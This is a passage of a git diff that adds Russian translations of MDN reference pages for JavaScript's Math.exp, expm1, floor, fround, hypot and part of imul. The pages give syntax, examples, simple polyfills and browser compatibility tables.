+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/exp/index.html b/files/ru/web/javascript/reference/global_objects/math/exp/index.html
new file mode 100644
index 0000000000..1d516d229e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/exp/index.html
@@ -0,0 +1,120 @@
+---
+title: Math.exp()
+slug: Web/JavaScript/Reference/Global_Objects/Math/exp
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Math.exp()</code></strong> возвращает значение выражения <code>e<sup>x</sup></code>, где <code>x</code> — аргумент метода, а <code>e</code> — {{jsxref("Math.E", "число Эйлера", "", 1)}}, основание натурального логарифма.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Math.exp(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Поскольку метод <code>exp()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.exp()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.exp" name="Example:_Using_Math.exp">Пример: использование метода <code>Math.exp()</code></h3>
+<pre class="brush: js">Math.exp(-1); // 0.36787944117144233
+Math.exp(0);  // 1
+Math.exp(1);  // 2.718281828459045
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.8', 'Math.exp')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.exp', 'Math.exp')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.E")}}</li>
+ <li>{{jsxref("Math.expm1()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/expm1/index.html b/files/ru/web/javascript/reference/global_objects/math/expm1/index.html
new file mode 100644
index 0000000000..26b21553ba
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/expm1/index.html
@@ -0,0 +1,132 @@
+---
+title: Math.expm1()
+slug: Web/JavaScript/Reference/Global_Objects/Math/expm1
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/expm1
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.expm1()</code></strong> возвращает значение выражения <code>e<sup>x</sup> - 1</code>, где <code>x</code> — аргумент метода, а {{jsxref("Math.E", "e", "", 1)}} — основание натурального логарифма.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.expm1(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>expm1()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.expm1()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.expm1" name="Example:_Using_Math.expm1">Пример: использование метода <code>Math.expm1()</code></h3>
+
+<pre class="brush: js">Math.expm1(-1); // -0.6321205588285577
+Math.expm1(0);  // 0
+Math.expm1(1);  // 1.718281828459045
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод может эмулироваться при помощи метода {{jsxref("Math.exp()")}}:</p>
+
+<pre class="brush: js">Math.expm1 = Math.expm1 || function(x) {
+  return Math.exp(x) - 1;
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.expm1', 'Math.expm1')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.E")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/floor/index.html b/files/ru/web/javascript/reference/global_objects/math/floor/index.html
new file mode 100644
index 0000000000..c11fe6420e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/floor/index.html
@@ -0,0 +1,200 @@
+---
+title: Math.floor()
+slug: Web/JavaScript/Reference/Global_Objects/Math/floor
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.floor()</code></strong> - округление вниз. Округляет аргумент до ближайшего меньшего целого.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.floor(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>floor()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.floor()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_Math.floor" name="Example:_Using_Math.floor">Пример: использование метода <code>Math.floor()</code></h3>
+
+<pre class="brush: js">Math.floor( 45.95); //  45
+Math.floor(-45.95); // -46
+</pre>
+
+<h3 id="Example_Decimal_adjustment" name="Example:_Decimal_adjustment">Пример: корректировка округления десятичных дробей</h3>
+
+<pre class="brush: js">// Замыкание
+(function() {
+  /**
+   * Корректировка округления десятичных дробей.
+   *
+   * @param {String}  type  Тип корректировки.
+   * @param {Number}  value Число.
+   * @param {Integer} exp   Показатель степени (десятичный логарифм основания корректировки).
+   * @returns {Number} Скорректированное значение.
+   */
+  function decimalAdjust(type, value, exp) {
+    // Если степень не определена, либо равна нулю...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // Если значение не является числом, либо степень не является целым числом...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Сдвиг разрядов
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Обратный сдвиг
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Десятичное округление к ближайшему
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Десятичное округление вниз
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Десятичное округление вверх
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Округление к ближайшему
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+// Округление вниз
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Округление вверх
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.9', 'Math.floor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.floor', 'Math.floor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/fround/index.html b/files/ru/web/javascript/reference/global_objects/math/fround/index.html
new file mode 100644
index 0000000000..b6dd9e242d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/fround/index.html
@@ -0,0 +1,128 @@
+---
+title: Math.fround()
+slug: Web/JavaScript/Reference/Global_Objects/Math/fround
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/fround
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.fround()</code></strong> возвращает ближайшее число с плавающей запятой <a href="https://ru.wikipedia.org/wiki/Число_одинарной_точности">одинарной точности</a>, представляющее указанное число.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.fround(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>fround()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.fround()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.fround" name="Example:_Using_Math.fround">Пример: использование метода <code>Math.fround()</code></h3>
+
+<pre class="brush: js">Math.fround(0);     // 0
+Math.fround(1);     // 1
+Math.fround(1.337); // 1.3370000123977661
+Math.fround(1.5);   // 1.5
+Math.fround(NaN);   // NaN
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод может эмулироваться следующим образом, при условии, что среда выполнения поддерживает объект {{jsxref("Float32Array")}}:</p>
+
+<pre class="brush: js">Math.fround = Math.fround || function(x) {
+  return new Float32Array([x])[0];
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.fround', 'Math.fround')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("26")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.round()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/hypot/index.html b/files/ru/web/javascript/reference/global_objects/math/hypot/index.html
new file mode 100644
index 0000000000..df3271d28c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/hypot/index.html
@@ -0,0 +1,149 @@
+---
+title: Math.hypot()
+slug: Web/JavaScript/Reference/Global_Objects/Math/hypot
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/hypot
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.hypot()</code></strong> возвращает квадратный корень суммы квадратов своих аргументов, то есть</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.hypot</mo><mo stretchy="false">(</mo><msub><mi>v</mi><mn>1</mn></msub><mo>,</mo><msub><mi>v</mi><mn>2</mn></msub><mo>,</mo><mo>…</mo><mo>,</mo><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mrow><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><msubsup><mi>v</mi><mi>i</mi><mn>2</mn></msubsup></mrow></msqrt><mo>=</mo><msqrt><mrow><msubsup><mi>v</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><msubsup><mi>v</mi><mn>2</mn><mn>2</mn></msubsup><mo>+</mo><mo>…</mo><mo>+</mo><msubsup><mi>v</mi><mi>n</mi><mn>2</mn></msubsup></mrow></msqrt></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.hypot}(v_1, v_2, \dots, v_n)} = \sqrt{\sum_{i=1}^n v_i^2} = \sqrt{v_1^2 + v_2^2 + \dots + v_n^2}</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.hypot([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value1, value2, ...</code></dt>
+ <dd>Числа.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>hypot()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.hypot()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<p>При вызове без аргументов результатом вызова будет значение +0.</p>
+
+<p>Если хотя бы один из аргументов не может быть преобразован в число, результатом будет {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+
+<p>При вызове с одним аргументом, метод <code>Math.hypot()</code> то же самое значение, что и метод <code>Math.abs()</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.hypot" name="Example:_Using_Math.hypot">Пример: использование метода <code>Math.hypot()</code></h3>
+
+<pre class="brush: js">Math.hypot(3, 4);        // 5
+Math.hypot(3, 4, 5);     // 7.0710678118654755
+Math.hypot();            // 0
+Math.hypot(NaN);         // NaN
+Math.hypot(3, 4, 'foo'); // NaN, +'foo' =&gt; NaN
+Math.hypot(3, 4, '5');   // 7.0710678118654755, +'5' =&gt; 5
+Math.hypot(-3);          // 3, то же самое, что и Math.abs(-3)
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод может эмулироваться следующим образом:</p>
+
+<pre class="brush: js">Math.hypot = Math.hypot || function() {
+  var y = 0;
+  var length = arguments.length;
+
+  for (var i = 0; i &lt; length; i++) {
+    if (arguments[i] === Infinity || arguments[i] === -Infinity) {
+      return Infinity;
+    }
+    y += arguments[i] * arguments[i];
+  }
+  return Math.sqrt(y);
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.hypot', 'Math.hypot')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("27")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("27")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/imul/index.html b/files/ru/web/javascript/reference/global_objects/math/imul/index.html
new file mode 100644
index 0000000000..8c1480a99a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/imul/index.html
@@ -0,0 +1,130 @@
+---
+title: Math.imul()
+slug: Web/JavaScript/Reference/Global_Objects/Math/imul
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/imul
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.imul()</code></strong> возвращает результат перемножения в стиле C двух 32-битных чисел.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.imul(<var>a</var>, <var>b</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>a</code></dt>
+ <dd>Первое число.</dd>
+ <dt><code>b</code></dt>
+ <dd>Второе число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>Math.imul()</code> позволяет выполнять быстрое перемножение двух 32-битных чисел с семантикой C. Эта возможность полезна для таких проектов, как <a href="http://en.wikipedia.org/wiki/Emscripten">Emscripten</a>. Поскольку метод <code>imul()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.imul()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.imul" name="Example:_Using_Math.imul">Пример: использование метода <code>Math.imul()</code></h3>
+
+<pre class="brush: js">Math.imul(2, 4);          // 8
+Math.imul(-1, 8);         // -8
+Math.imul(-2, -2);        // 4
+Math.imul(0xffffffff, 5); // -5
+Math.imul(0xfffffffe, 5); // -10
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод может эмулироваться следующим способом:</p>
+
+<pre class="brush: js">Math.imul = Math.imul || function(a, b) {
+  var ah = (a &gt;&gt;&gt; 16) &amp; 0xffff;
+  var al = a &amp; 0xffff;
+  var bh = (b &gt;&gt;&gt; 16) &amp; 0xffff;
+  var bl = b &amp; 0xffff;
+  // сдвиг на 0 бит закрепляет знак в старшей части числа
+  // окончательный |0 преобразует беззнаковое значение обратно в знаковое значение
+  return ((al * bl) + (((ah * bl + al * bh) &lt;&lt; 16) &gt;&gt;&gt; 0)|0);
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.imul', 'Math.imul')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("28")}}</td>
+   <td>{{CompatGeckoDesktop("20")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera("16")}}</td>
+   <td>{{CompatSafari("7")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
